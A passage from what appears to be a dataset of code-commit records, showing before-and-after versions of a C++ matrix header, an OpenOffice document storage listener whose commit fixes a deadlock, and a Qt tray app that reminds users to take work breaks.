(mat(1,2) * mat(2,0) - mat(1,0) * mat(2,2));\n    inv(2,0) = det_inv * (mat(1,0) * mat(2,1) - mat(2,0) * mat(1,1));\n    inv(2,1) = det_inv * (mat(2,0) * mat(0,1) - mat(0,0) * mat(2,1));\n    return inv;\n}\n\ntemplate<typename T, std::size_t S1, std::size_t S2>\nstruct scalar_type_of<Matrix<T, S1, S2>>\n{\n    typedef T type;\n};\n\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_MATH_MATRIX *\/\n<commit_msg>add ctor from array to math\/Matrix<commit_after>#ifndef MJOLNIR_MATH_MATRIX\n#define MJOLNIR_MATH_MATRIX\n#include <mjolnir\/util\/is_all.hpp>\n#include <mjolnir\/util\/scalar_type_of.hpp>\n#include <iostream>\n#include <array>\n\nnamespace mjolnir\n{\n\ntemplate<typename realT, std::size_t Row, std::size_t Col>\nclass Matrix\n{\n  public:\n    using real_type = realT;\n    using scalar_type = real_type;\n    constexpr static std::size_t dim_row = Row;\n    constexpr static std::size_t dim_col = Col;\n    constexpr static std::size_t number_of_element = Row * Col;\n    using container      = std::array<real_type, number_of_element>;\n    using iterator       = typename container::iterator;\n    using const_iterator = typename container::const_iterator;\n\n    template<typename T>\n    using is_convertible_to_real = std::is_convertible<T, real_type>;\n\n  public:\n    Matrix() : values_{{}}{}\n    ~Matrix() = default;\n\n    template<typename ... T_args, typename std::enable_if<\n        (sizeof...(T_args) == number_of_element) &&\n        is_all<is_convertible_to_real, T_args...>::value, std::nullptr_t\n        >::type = nullptr>\n    Matrix(T_args ... args) : values_{{static_cast<real_type>(args)...}}{}\n\n    template<typename T, typename std::enable_if<\n        std::is_convertible<T, realT>::value, std::nullptr_t>::type = nullptr>\n    Matrix(const std::array<T, number_of_element>& arg)\n    {\n        for(std::size_t i=0; i<number_of_element; ++i)\n            values_[i] = static_cast<real_type>(arg[i]);\n    }\n\n    Matrix(const Matrix& mat) = default;\n    Matrix& operator=(const Matrix& mat) = default;\n\n    Matrix& operator+=(const Matrix& mat);\n    Matrix& operator-=(const Matrix& mat);\n    Matrix& operator*=(const scalar_type& scl);\n    Matrix& operator\/=(const scalar_type& scl);\n\n    scalar_type  at(const std::size_t i, const std::size_t j) const;\n    scalar_type& at(const std::size_t i, const std::size_t j);\n    scalar_type  operator()(const std::size_t i, const std::size_t j) const;\n    scalar_type& operator()(const std::size_t i, const std::size_t j);\n\n    scalar_type  at(const std::size_t i) const {return values_.at(i);}\n    scalar_type& at(const std::size_t i)       {return values_.at(i);}\n    scalar_type  operator[](const std::size_t i) const {return values_[i];}\n    scalar_type& operator[](const std::size_t i)       {return values_[i];}\n\n    iterator begin() {return values_.begin();}\n    iterator end()   {return values_.end();}\n    const_iterator cbegin() const {return values_.cbegin();}\n    const_iterator cend()   const {return values_.cend();}\n\n  private:\n    container values_;\n};\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator+=(const Matrix<realT, R, C>& mat)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] += mat[i];\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator-=(const Matrix<realT, R, C>& mat)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] -= mat[i];\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator*=(const scalar_type& s)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] *= s;\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator\/=(const scalar_type& s)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] \/= s;\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator+(const Matrix<realT, R, C>& lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] + rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator-(const Matrix<realT, R, C>& lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] - rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator*(const Matrix<realT, R, C>& lhs, const realT rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] * rhs;\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator*(const realT lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs * rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator\/(const Matrix<realT, R, C>& lhs, const realT rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] \/ rhs;\n    return retval;\n}\n\ntemplate<typename realT, std::size_t L, std::size_t M, std::size_t N>\nMatrix<realT, L, N>\noperator*(const Matrix<realT, L, M>& lhs, const Matrix<realT, M, N>& rhs)\n{\n    Matrix<realT, L, N> retval;\n    for(std::size_t i=0; i < L; ++i)\n        for(std::size_t j=0; j < N; ++j)\n            for(std::size_t k=0; k < M; ++k)\n                retval(i, j) += lhs(i, k) * rhs(k, j);\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type\nMatrix<realT, R, C>::at(const std::size_t i, const std::size_t j) const\n{\n    return this->values_.at(i * C + j);\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type&\nMatrix<realT, R, C>::at(const std::size_t i, const std::size_t j)\n{\n    return this->values_.at(i * C + j);\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type\nMatrix<realT, R, C>::operator()(const std::size_t i, const std::size_t j) const\n{\n    return this->values_[i * C + j];\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type&\nMatrix<realT, R, C>::operator()(const std::size_t i, const std::size_t j)\n{\n    return this->values_[i * C + j];\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, C, R> transpose(const Matrix<realT, R, C>& mat)\n{\n    Matrix<realT, C, R> retval;\n    for(std::size_t i=0; i<R; ++i)\n        for(std::size_t j=0; j<C; ++j)\n            retval(j, i) = mat(i, j);\n    return retval;\n}\n\ntemplate<typename charT, typename traits,\n         typename realT, std::size_t R, std::size_t C>\nstd::basic_ostream<charT, traits>&\noperator<<(std::basic_ostream<charT, traits>& os, const Matrix<realT, R, C>& m)\n{\n    os << \"(\";\n    for(std::size_t i=0; i<R*C; ++i)\n        os << m[i] << \" \";\n    os << \")\";\n    return os;\n}\n\n\/\/ for 3*3 only ...\ntemplate<typename realT>\ninline realT determinant(const Matrix<realT, 3, 3>& mat)\n{\n    return mat(0,0) * mat(1,1) * mat(2,2) +\n           mat(1,0) * mat(2,1) * mat(0,2) +\n           mat(2,0) * mat(0,1) * mat(1,2) -\n           mat(0,0) * mat(2,1) * mat(1,2) -\n           mat(2,0) * mat(1,1) * mat(0,2) -\n           mat(1,0) * mat(0,1) * mat(2,2);\n}\n\ntemplate<typename realT>\nMatrix<realT, 3, 3> inverse(const Matrix<realT, 3, 3>& mat)\n{\n    const auto det_inv = 1e0 \/ determinant(mat);\n\n    Matrix<realT, 3, 3> inv;\n    inv(0,0) = det_inv * (mat(1,1) * mat(2,2) - mat(1,2) * mat(2,1));\n    inv(1,1) = det_inv * (mat(0,0) * mat(2,2) - mat(0,2) * mat(2,0));\n    inv(2,2) = det_inv * (mat(0,0) * mat(1,1) - mat(0,1) * mat(1,0));\n\n    inv(0,1) = det_inv * (mat(0,2) * mat(2,1) - mat(0,1) * mat(2,2));\n    inv(0,2) = det_inv * (mat(0,1) * mat(1,2) - mat(0,2) * mat(1,1));\n    inv(1,2) = det_inv * (mat(0,2) * mat(1,0) - mat(0,0) * mat(1,2));\n\n    inv(1,0) = det_inv * (mat(1,2) * mat(2,0) - mat(1,0) * mat(2,2));\n    inv(2,0) = det_inv * (mat(1,0) * mat(2,1) - mat(2,0) * mat(1,1));\n    inv(2,1) = det_inv * (mat(2,0) * mat(0,1) - mat(0,0) * mat(2,1));\n    return inv;\n}\n\ntemplate<typename T, std::size_t S1, std::size_t S2>\nstruct scalar_type_of<Matrix<T, S1, S2>>\n{\n    typedef T type;\n};\n\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_MATH_MATRIX *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: docstoragemodifylistener.cxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sfx2.hxx\"\n\n#include \"sfx2\/docstoragemodifylistener.hxx\"\n\n\/** === begin UNO includes === **\/\n\/** === end UNO includes === **\/\n\n\/\/........................................................................\nnamespace sfx2\n{\n\/\/........................................................................\n\n    \/** === begin UNO using === **\/\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::XInterface;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::UNO_QUERY_THROW;\n    using ::com::sun::star::uno::UNO_SET_THROW;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::RuntimeException;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::uno::makeAny;\n    using ::com::sun::star::lang::EventObject;\n    \/** === end UNO using === **\/\n\n    \/\/====================================================================\n    \/\/=\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    DocumentStorageModifyListener::DocumentStorageModifyListener( ::osl::Mutex& _rMutex, IModifiableDocument& _rDocument )\n        :m_rMutex( _rMutex )\n        ,m_pDocument( &_rDocument )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    DocumentStorageModifyListener::~DocumentStorageModifyListener()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    void DocumentStorageModifyListener::dispose()\n    {\n        ::osl::MutexGuard aGuard( m_rMutex );\n        m_pDocument = NULL;\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL DocumentStorageModifyListener::modified( const EventObject& \/*aEvent*\/ ) throw (RuntimeException)\n    {\n        ::osl::MutexGuard aGuard( m_rMutex );\n        \/\/ storageIsModified must not contain any locking!\n        if ( m_pDocument )\n            m_pDocument->storageIsModified();\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL DocumentStorageModifyListener::disposing( const EventObject& \/*Source*\/ ) throw (RuntimeException)\n    {\n        \/\/ not interested in. In particular, we do *not* dispose ourself when a storage we're\n        \/\/ listening at is disposed. The reason here is that this listener instance is *reused*\n        \/\/ in case the document is re-based to another storage.\n    }\n\n\/\/........................................................................\n} \/\/ namespace sfx2\n\/\/........................................................................\n<commit_msg>INTEGRATION: CWS mav31 (1.2.38); FILE MERGED 2008\/04\/09 10:19:47 mav 1.2.38.1: #i87197# fix the crash\/deadlock<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: docstoragemodifylistener.cxx,v $\n * $Revision: 1.4 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sfx2.hxx\"\n\n#include \"sfx2\/docstoragemodifylistener.hxx\"\n#include <sfx2\/app.hxx>\n#include <vos\/mutex.hxx>\n\n\/** === begin UNO includes === **\/\n\/** === end UNO includes === **\/\n\n\/\/........................................................................\nnamespace sfx2\n{\n\/\/........................................................................\n\n    \/** === begin UNO using === **\/\n    using ::com::sun::star::uno::Reference;\n    using ::com::sun::star::uno::XInterface;\n    using ::com::sun::star::uno::UNO_QUERY;\n    using ::com::sun::star::uno::UNO_QUERY_THROW;\n    using ::com::sun::star::uno::UNO_SET_THROW;\n    using ::com::sun::star::uno::Exception;\n    using ::com::sun::star::uno::RuntimeException;\n    using ::com::sun::star::uno::Any;\n    using ::com::sun::star::uno::makeAny;\n    using ::com::sun::star::lang::EventObject;\n    \/** === end UNO using === **\/\n\n    \/\/====================================================================\n    \/\/=\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    DocumentStorageModifyListener::DocumentStorageModifyListener( IModifiableDocument& _rDocument )\n        :m_pDocument( &_rDocument )\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    DocumentStorageModifyListener::~DocumentStorageModifyListener()\n    {\n    }\n\n    \/\/--------------------------------------------------------------------\n    void DocumentStorageModifyListener::dispose()\n    {\n        ::vos::OGuard aGuard( Application::GetSolarMutex() );\n        m_pDocument = NULL;\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL DocumentStorageModifyListener::modified( const EventObject& \/*aEvent*\/ ) throw (RuntimeException)\n    {\n        ::vos::OGuard aGuard( Application::GetSolarMutex() );\n        \/\/ storageIsModified must not contain any locking!\n        if ( m_pDocument )\n            m_pDocument->storageIsModified();\n    }\n\n    \/\/--------------------------------------------------------------------\n    void SAL_CALL DocumentStorageModifyListener::disposing( const EventObject& \/*Source*\/ ) throw (RuntimeException)\n    {\n        \/\/ not interested in. In particular, we do *not* dispose ourself when a storage we're\n        \/\/ listening at is disposed. The reason here is that this listener instance is *reused*\n        \/\/ in case the document is re-based to another storage.\n    }\n\n\/\/........................................................................\n} \/\/ namespace sfx2\n\/\/........................................................................\n<|endoftext|>"}
{"text":"<commit_before>#include \"widget.h\"\n\nvoid MainWindow::CreateTrayIcon()\n{\n    QMenu* pTrayIconMenu = new QMenu(this);\n    pTrayIconMenu->addAction(m_pOpenAction);\n    pTrayIconMenu->addSeparator();\n    pTrayIconMenu->addAction(m_pPostponeAction);\n    pTrayIconMenu->addSeparator();\n    pTrayIconMenu->addAction(m_pQuitAction);\n\n    if(m_pTrayIcon)\n    {\n        m_pTrayIcon->setContextMenu(pTrayIconMenu);\n    }\n}\n\nvoid MainWindow::SetTrayIcon(QString strIcon)\n{\n    if(strIcon != m_strSetTrayIcon && m_pTrayIcon)\n    {\n        QIcon icon(strIcon);\n        m_pTrayIcon->setIcon(icon);\n        m_pTrayIcon->setVisible(true);\n\n        m_strSetTrayIcon = strIcon;\n    }\n}\n\nvoid MainWindow::LoadSettings()\n{\n    m_pAppSettings = new QSettings(QCoreApplication::organizationName(), QCoreApplication::applicationName(), this);\n    qDebug() << QCoreApplication::organizationName() << QCoreApplication::applicationName();\n\n    UserTimeSettings::SetWorkTime_s(m_pAppSettings->value(\"work_time\", UserTimeSettings::WorkTime_s()).toInt());\n    UserTimeSettings::SetRestTime_s(m_pAppSettings->value(\"rest_time\", UserTimeSettings::RestTime_s()).toInt());\n    UserTimeSettings::SetToleranceTime_s(m_pAppSettings->value(\"tolerance_time\", UserTimeSettings::ToleranceTime_s()).toInt());\n\n    m_pOnTopAction->setChecked(m_pAppSettings->value(\"always_on_top\", false).toBool());\n    SetOnTop(m_pOnTopAction->isChecked());\n\n    m_pOnStartUpAction->setChecked(m_pAppSettings->value(\"run_on_startup\", false).toBool());\n}\n\nvoid MainWindow::CreateLayout()\n{\n    QVBoxLayout* pTimeLayout = new QVBoxLayout;\n\n    \/\/ work spin box\n    QHBoxLayout* pWorkLayout = new QHBoxLayout;\n    QLabel* pWorkLabel = new QLabel(tr(\"Work time [mins]\"));\n    QSpinBox* pSpinWorkTime_s = new QSpinBox(this); \/\/ TODO - má tu být this? Nemá tu být některý child?\n    pSpinWorkTime_s->setValue(UserTimeSettings::WorkTime_s() \/ 60);\n    pSpinWorkTime_s->setMaximum(999);\n    connect(pSpinWorkTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n        UserTimeSettings::SetWorkTime_s(nNewValue * 60);\n        m_pAppSettings->setValue(\"work_time\", UserTimeSettings::WorkTime_s());\n    });\n    pWorkLayout->addWidget(pWorkLabel);\n    pWorkLayout->addWidget(pSpinWorkTime_s);\n\n    \/\/ rest spin box\n    QHBoxLayout* pRestLayout = new QHBoxLayout;\n    QLabel* pRestLabel = new QLabel(tr(\"Rest time [mins]\"));\n    QSpinBox* pSpinRestTime_s = new QSpinBox(this);\n    pSpinRestTime_s->setValue(UserTimeSettings::RestTime_s() \/ 60);\n    pSpinRestTime_s->setMaximum(999);\n    connect(pSpinRestTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n       UserTimeSettings::SetRestTime_s(nNewValue * 60);\n       m_pAppSettings->setValue(\"rest_time\", UserTimeSettings::RestTime_s());\n    });\n    pRestLayout->addWidget(pRestLabel);\n    pRestLayout->addWidget(pSpinRestTime_s);\n\n    \/\/ tolerance spin box\n    QHBoxLayout* pToleranceLayout = new QHBoxLayout;\n    QLabel* pToleranceLabel = new QLabel(tr(\"Tolerance time [s]\"));\n    QSpinBox* pSpinToleranceTime_s = new QSpinBox(this);\n    pSpinToleranceTime_s->setValue(UserTimeSettings::ToleranceTime_s());\n    pSpinToleranceTime_s->setMaximum(999);\n    connect(pSpinToleranceTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n       UserTimeSettings::SetToleranceTime_s(nNewValue);\n       m_pAppSettings->setValue(\"tolerance_time\", UserTimeSettings::ToleranceTime_s());\n\n    });\n    pToleranceLayout->addWidget(pToleranceLabel);\n    pToleranceLayout->addWidget(pSpinToleranceTime_s);\n\n    \/\/ add all to vertical layout\n    pTimeLayout->addLayout(pWorkLayout);\n    pTimeLayout->addLayout(pRestLayout);\n    pTimeLayout->addLayout(pToleranceLayout);\n\n    \/\/ add label with info\n    m_pLabel = new QLabel;\n\n    QVBoxLayout* pMainLayout = new QVBoxLayout;\n    pMainLayout->addLayout(pTimeLayout);\n\n    m_pPassedToleranceBar = new QProgressBar(this);\n    m_pPassedToleranceBar->setMaximum(0);\n    m_pPassedToleranceBar->setMaximum(UserTimeSettings::ToleranceTime_s() * 1000);\n    m_pPassedToleranceBar->setTextVisible(false);\n\n    pMainLayout->addWidget(m_pPassedToleranceBar);\n    pMainLayout->addWidget(m_pLabel);\n\n    QWidget* pWidget = new QWidget(this);\n    pWidget->setLayout(pMainLayout);\n    this->setCentralWidget(pWidget);\n}\n\nvoid MainWindow::CreateActions()\n{\n    m_pOpenAction = new QAction(tr(\"&Open\"), this);\n    connect(m_pOpenAction, &QAction::triggered, this, &MainWindow::OpenWindow);\n\n    m_pPostponeAction = new QAction(tr(\"&Add 5 mins\"), this);\n    m_pPostponeAction->setCheckable(true);\n    connect(m_pPostponeAction, &QAction::triggered, this, &MainWindow::PostponeTheBreak);\n\n    m_pAboutAction = new QAction(tr(\"A&bout...\"), this);\n    connect(m_pAboutAction, &QAction::triggered, qApp, &QApplication::aboutQt); \/\/ NOTE - change to about App\n\n    m_pQuitAction = new QAction(tr(\"Really &quit\"), this);\n    connect(m_pQuitAction, &QAction::triggered, qApp, &QCoreApplication::quit);\n\n    m_pOnTopAction = new QAction(tr(\"Always on &top\"), this);\n    m_pOnTopAction->setCheckable(true);\n    connect(m_pOnTopAction, &QAction::triggered, [&](bool bOnTop) {\n        m_pAppSettings->setValue(\"always_on_top\", bOnTop);\n        SetOnTop(bOnTop);\n    });\n\n    m_pOnStartUpAction = new QAction(tr(\"Run on &startup\"), this);\n    m_pOnStartUpAction->setCheckable(true);\n    connect(m_pOnStartUpAction, &QAction::triggered, [&](bool bRunOnStartUp) {\n        m_pAppSettings->setValue(\"run_on_startup\", bRunOnStartUp);\n        SetOnStartUp(bRunOnStartUp);\n    });\n}\n\nvoid MainWindow::CreateMenu()\n{\n    m_pAppMenu = menuBar()->addMenu(tr(\"&App\"));\n    m_pAppMenu->addAction(m_pPostponeAction);\n    m_pAppMenu->addSeparator();\n    m_pAppMenu->addAction(m_pAboutAction);\n    m_pAppMenu->addSeparator();\n    m_pAppMenu->addAction(m_pQuitAction);\n\n    m_pOptionsMenu = menuBar()->addMenu(tr(\"&Options\"));\n    m_pOptionsMenu->addAction(m_pOnTopAction);\n    m_pOptionsMenu->addAction(m_pOnStartUpAction);\n}\n\nvoid MainWindow::OpenWindow()\n{\n    this->setWindowState(this->windowState() & ~Qt::WindowMinimized);\n    this->show();\n    this->activateWindow();\n}\n\nvoid MainWindow::PostponeTheBreak()\n{\n    m_pPostponeAction->setEnabled(false);\n    m_nExtraWorkTime_ms = UserTimeSettings::ExtraWorkTime_s() * 1000;\n}\n\nvoid MainWindow::SetOnTop(bool bOnTop)\n{\n    if(bOnTop)\n    {\n        this->setWindowFlags(Qt::WindowStaysOnTopHint);\n    }\n    else\n    {\n        this->setWindowFlags(this->windowFlags() & (~Qt::WindowStaysOnTopHint));\n    }\n    this->show();\n    this->activateWindow();\n}\n\nvoid MainWindow::SetOnStartUp(bool bRunOnStartUp)\n{\n    QSettings oSettings(\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", QSettings::NativeFormat);\n    if (bRunOnStartUp)\n    {\n        const QString strNativeBinPath = QDir::toNativeSeparators(qApp->applicationFilePath());\n        oSettings.setValue(QCoreApplication::applicationName(), strNativeBinPath);\n    }\n    else\n    {\n        oSettings.remove(QCoreApplication::applicationName());\n    }\n}\n\nvoid MainWindow::SetIconByTime()\n{\n    int nWorkTime_ms = UserTimeSettings::WorkTime_s() * 1000 + m_nExtraWorkTime_ms;\n    if(m_pLastUserInput->UserActiveTime_ms() > nWorkTime_ms)\n    {\n        SetTrayIcon(\":\/stop_icon.png\");\n    }\n    else if(m_pLastUserInput->UserActiveTime_ms() < nWorkTime_ms &&  m_pLastUserInput->UserActiveTime_ms() > (nWorkTime_ms - UserTimeSettings::WarningTime_s()) * 1000)\n    {\n        SetTrayIcon(\":\/ready_icon.png\");\n    }\n    else if(m_pLastUserInput->UserIdleTime_ms() > UserTimeSettings::RestTime_s())\n    {\n        SetTrayIcon(\":\/go_icon.png\");\n    }\n}\n\nMainWindow::MainWindow(QMainWindow *parent) : QMainWindow(parent)\n{\n    m_pLastUserInput = new UserInputWatcher(new SystemInput());\n\n    m_pTrayIcon = new QSystemTrayIcon(this);\n\n    CreateActions();\n    CreateTrayIcon();\n    SetTrayIcon(\":\/go_icon.png\");\n\n    CreateLayout();\n    CreateMenu();\n    LoadSettings();\n\n    if(QSystemTrayIcon::isSystemTrayAvailable())\n    {\n        qDebug() << \"tray is avaible\";\n    }\n\n    connect(m_pTrayIcon, &QSystemTrayIcon::activated, [&](QSystemTrayIcon::ActivationReason eReason) {\n        qDebug() << eReason;\n        switch (eReason) {\n        case QSystemTrayIcon::DoubleClick:\n        case QSystemTrayIcon::Trigger:\n            OpenWindow();\n            break;\n        default:\n            break;\n        }\n    });\n\n    connect(&m_oBeepTimer, &QTimer::timeout, [&]() {\n        int nWorkTime_ms = UserTimeSettings::WorkTime_s() * 1000 + m_nExtraWorkTime_ms;\n        if(m_pLastUserInput->UserActiveTime_ms() > nWorkTime_ms && m_pLastUserInput->PassedTolerance_ms() > 0)\n        {\n            QApplication::beep();\n        }\n    });\n\n    connect(&m_oTimer, &QTimer::timeout, [&]() {\n\n        SetIconByTime();\n        m_pLastUserInput->UpdateLastUserInput();\n\n        m_pPassedToleranceBar->setValue(m_pLastUserInput->PassedTolerance_ms() > m_pPassedToleranceBar->maximum() ? m_pPassedToleranceBar->maximum() : m_pLastUserInput->PassedTolerance_ms());\n\n        m_pLabel->setText(QString(\"User idle time\\t\\t%1\\nUser active time\\t\\t%2\")\n                          .arg(TimeFormat::GetMinsAndSeconds(m_pLastUserInput->UserIdleTime_ms()))\n                          .arg(TimeFormat::GetMinsAndSeconds(m_pLastUserInput->UserActiveTime_ms())));\n\n        m_pTrayIcon->setToolTip(QString(tr(\"Work time is %1 mins\")).arg(TimeFormat::GetMins(m_pLastUserInput->UserActiveTime_ms())));\n\n    });\n\n    connect(m_pLastUserInput, &UserInputWatcher::NewWorkPeriod, [&]() {\n        m_pPostponeAction->setEnabled(true);\n        m_nExtraWorkTime_ms = 0;\n    });\n\n    m_oTimer.start(100);\n    m_oBeepTimer.start(1100);\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n    if(m_pTrayIcon->isVisible())\n    {\n        hide();\n        event->ignore();\n    }\n}\n<commit_msg>fix in values loading<commit_after>#include \"widget.h\"\n\nvoid MainWindow::CreateTrayIcon()\n{\n    QMenu* pTrayIconMenu = new QMenu(this);\n    pTrayIconMenu->addAction(m_pOpenAction);\n    pTrayIconMenu->addSeparator();\n    pTrayIconMenu->addAction(m_pPostponeAction);\n    pTrayIconMenu->addSeparator();\n    pTrayIconMenu->addAction(m_pQuitAction);\n\n    if(m_pTrayIcon)\n    {\n        m_pTrayIcon->setContextMenu(pTrayIconMenu);\n    }\n}\n\nvoid MainWindow::SetTrayIcon(QString strIcon)\n{\n    if(strIcon != m_strSetTrayIcon && m_pTrayIcon)\n    {\n        QIcon icon(strIcon);\n        m_pTrayIcon->setIcon(icon);\n        m_pTrayIcon->setVisible(true);\n\n        m_strSetTrayIcon = strIcon;\n    }\n}\n\nvoid MainWindow::LoadSettings()\n{\n    m_pAppSettings = new QSettings(QCoreApplication::organizationName(), QCoreApplication::applicationName(), this);\n    qDebug() << QCoreApplication::organizationName() << QCoreApplication::applicationName();\n\n    UserTimeSettings::SetWorkTime_s(m_pAppSettings->value(\"work_time\", UserTimeSettings::WorkTime_s()).toInt());\n    UserTimeSettings::SetRestTime_s(m_pAppSettings->value(\"rest_time\", UserTimeSettings::RestTime_s()).toInt());\n    UserTimeSettings::SetToleranceTime_s(m_pAppSettings->value(\"tolerance_time\", UserTimeSettings::ToleranceTime_s()).toInt());\n\n    m_pOnTopAction->setChecked(m_pAppSettings->value(\"always_on_top\", false).toBool());\n    SetOnTop(m_pOnTopAction->isChecked());\n\n    m_pOnStartUpAction->setChecked(m_pAppSettings->value(\"run_on_startup\", false).toBool());\n}\n\nvoid MainWindow::CreateLayout()\n{\n    QVBoxLayout* pTimeLayout = new QVBoxLayout;\n\n    \/\/ work spin box\n    QHBoxLayout* pWorkLayout = new QHBoxLayout;\n    QLabel* pWorkLabel = new QLabel(tr(\"Work time [mins]\"));\n    QSpinBox* pSpinWorkTime_s = new QSpinBox(this); \/\/ TODO - má tu být this? Nemá tu být některý child?\n    pSpinWorkTime_s->setValue(UserTimeSettings::WorkTime_s() \/ 60);\n    pSpinWorkTime_s->setMaximum(999);\n    connect(pSpinWorkTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n        UserTimeSettings::SetWorkTime_s(nNewValue * 60);\n        m_pAppSettings->setValue(\"work_time\", UserTimeSettings::WorkTime_s());\n    });\n    pWorkLayout->addWidget(pWorkLabel);\n    pWorkLayout->addWidget(pSpinWorkTime_s);\n\n    \/\/ rest spin box\n    QHBoxLayout* pRestLayout = new QHBoxLayout;\n    QLabel* pRestLabel = new QLabel(tr(\"Rest time [mins]\"));\n    QSpinBox* pSpinRestTime_s = new QSpinBox(this);\n    pSpinRestTime_s->setValue(UserTimeSettings::RestTime_s() \/ 60);\n    pSpinRestTime_s->setMaximum(999);\n    connect(pSpinRestTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n       UserTimeSettings::SetRestTime_s(nNewValue * 60);\n       m_pAppSettings->setValue(\"rest_time\", UserTimeSettings::RestTime_s());\n    });\n    pRestLayout->addWidget(pRestLabel);\n    